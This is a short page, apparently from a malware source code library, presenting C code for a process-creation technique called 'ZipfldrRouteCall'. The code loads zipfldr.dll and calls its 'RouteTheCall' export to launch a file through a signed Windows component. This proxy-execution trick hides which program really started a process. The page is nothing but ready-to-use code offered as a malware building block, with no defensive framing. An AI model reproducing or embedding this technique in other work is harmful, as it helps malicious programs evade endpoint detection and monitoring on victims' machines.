> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/process-creation-techniques/zipfldrroutecall.md).

# ZipfldrRouteCall

```
BOOL CreateProcessFromZipfldrRouteCallW(_In_ LPCWSTR PathToFile)
{
	typedef VOID(WINAPI* ROUTETHECALL)(HWND, HINSTANCE, LPCSTR);
	ROUTETHECALL RouteTheCall = NULL;
	HMODULE hMod = NULL;
	BOOL bFlag = FALSE;
	CHAR ccPath[MAX_PATH] = { 0 };

	hMod = LoadLibraryW(L"zipfldr.dll");
	if (hMod == NULL)
		goto EXIT_ROUTINE;

	if (WCharStringToCharString(ccPath, (PWCHAR)PathToFile, StringLengthW(PathToFile)) == NULL)
		goto EXIT_ROUTINE;

	RouteTheCall = (ROUTETHECALL)GetProcAddress(hMod, "RouteTheCall");
	if (!RouteTheCall)
		goto EXIT_ROUTINE;

	RouteTheCall(NULL, NULL, ccPath);

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hMod)
		FreeLibrary(hMod);

	return bFlag;
}

BOOL CreateProcessFromZipfldrRouteCallA(_In_ LPCSTR PathToFile)
{
	typedef VOID(WINAPI* ROUTETHECALL)(HWND, HINSTANCE, LPCSTR);
	ROUTETHECALL RouteTheCall = NULL;
	HMODULE hMod = NULL;
	BOOL bFlag = FALSE;

	hMod = LoadLibraryW(L"zipfldr.dll");
	if (hMod == NULL)
		goto EXIT_ROUTINE;

	RouteTheCall = (ROUTETHECALL)GetProcAddress(hMod, "RouteTheCall");
	if (!RouteTheCall)
		goto EXIT_ROUTINE;

	RouteTheCall(NULL, NULL, PathToFile);

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hMod)
		FreeLibrary(hMod);

	return bFlag;
}
```
